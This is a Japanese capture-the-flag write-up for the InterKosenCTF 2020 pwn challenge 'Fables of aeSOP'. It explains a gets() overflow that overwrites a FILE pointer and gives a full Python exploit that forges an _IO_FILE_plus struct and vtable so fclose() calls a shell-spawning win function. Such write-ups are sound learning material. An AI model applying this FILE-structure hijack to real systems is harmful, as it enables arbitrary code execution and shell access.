# Fables of aeSOP [InterKosenCTF 2020]
###### tags: `InterKosenCTF2020` `pwn`
## 概要
libc-2.23 と chall, banner.txt が与えられる。 challは次のようなコードだと思う
```clike=
char buf[512];
FILE *fp;
void win() {
write(1, "Congratulations!\n", 17);
execve("/bin/sh", "/bin/sh", 0);
}
void f() {
printf("win = %p\n", win);
gets(buf);
puts(buf);
}
int main() {
fp = fopen("banner.txt", "r");
fread(buf, 1, 512, fp);
puts(buf);
f();
fclose(fp);
}
```
`gets`によるあきらかなオーバーフローが存在していて、`buf`から溢れて`fp`を書き換えられることを使いそうに見える。
## 解法
FILE構造体(`_IO_FILE_plus`)は内部で関数テーブルへのポインタを有していて、うまく騙してやると`fclose`時に`win`を呼べそうな気がする。 `fp`はポインタなので、`gets`による入力で、`buf`内に 偽の`_IO_FILE_plus`構造体と関数テーブル(`_IO_jump_t`)を用意しておき、オーバーフローでポインタをかきかえてやれば良さそう。
というわけでやる。 `_IO_FILE_plus`に関してはgdbで本来の値をダンプしてほとんどそのままコピーしてきた。 `_lock` の指しているアドレスがアクセス可能でかつ、そこがNULLでないとSegmentation Faultするかロックをとったまま帰ってこなくなるので、バッファ内のNULLであることが保証されているアドレスを入れてある。
```python=
from ptrlib import *
sock = Socket("localhost", 9999)
win_offset = 0xA5A
win = int(sock.recvlineafter("<win> = "), 16)
pie_base = win - win_offset
buf_addr = 0x202060 + pie_base
vtable_addr = buf_addr
file_struct_addr = None
payload = b""
# _IO_jump_t
payload += p64(0) # __dummy
payload += p64(0) # __dummy2
payload += p64(0) # __finish
payload += p64(0) # __overflow
payload += p64(0) # __underflow
payload += p64(0) # __uflow
payload += p64(0) # __pbackfail
payload += p64(0) # __xsputn
payload += p64(0) # __xsgetn
payload += p64(0) # __seekoff
payload += p64(0) # __seekpos
payload += p64(0) # __setbuf
payload += p64(0) # __sync
payload += p64(0) # __doallocate
payload += p64(0) # __read
payload += p64(0) # __write
payload += p64(0) # __seek
payload += p64(win) # __close
payload += p64(0) # __stat
payload += p64(0) # __showmanyc
payload += p64(0) # __imbue
file_struct_addr = buf_addr + len(payload)
# _IO_FILE_plus
head_of_IO_FILE = len(payload)
payload += p64(0xfbad1800) # flags
payload += p64(pie_base + 0x1c6b240) # _IO_read_ptr
payload += p64(pie_base + 0x1c6b240) # _IO_read_end
payload += p64(pie_base + 0x1c6b240) # _IO_read_base
payload += p64(pie_base + 0x1c6b240) # _IO_write_base
payload += p64(pie_base + 0x1c6b240) # _IO_write_ptr
payload += p64(pie_base + 0x1c6b240) # _IO_write_end
payload += p64(pie_base + 0x1c6b240) # _IO_buf_base
payload += p64(pie_base + 0x1c6b240) # _IO_buf_end
payload += p64(0) # _IO_save_base
payload += p64(0) # _IO_backup_base
payload += p64(0) # _IO_save_end
payload += p64(0) # _mackers
payload += p64(0) # _chain
payload += p32(5) # _fileno
payload += p32(0) # _flags2
payload += p64(0) # _old_offset
payload += p64(0) # _cur_column + _vtable_offset + _shortbuf
payload += p64(file_struct_addr + 224) # _lock
payload += p64(0xffffffffffffffff) # _offset
payload += p64(0) # _codecvt
payload += p64(pie_base + 0x1c6b100) # _wide_data
payload += p64(0) # _freeres_list
payload += p64(0) # _freeres_buf
payload += p64(0) # __pad5
payload += p64(0xffffffff) # _mode
payload += b'\0' * (216 - (len(payload) - head_of_IO_FILE)) # _unused2
payload += p64(vtable_addr) # vtable
payload += b'\0' * (512 - len(payload)) # padding
payload += p64(file_struct_addr)
sock.sendline(payload)
sock.interactive()
```
## 感想
試行錯誤しながら`_IO_FILE_plus`構造体をつくるのが難しい。偽の `_IO_FILE_plus` を作るのはひとめなのでpwnerならすぐ解けるんだろうなぁ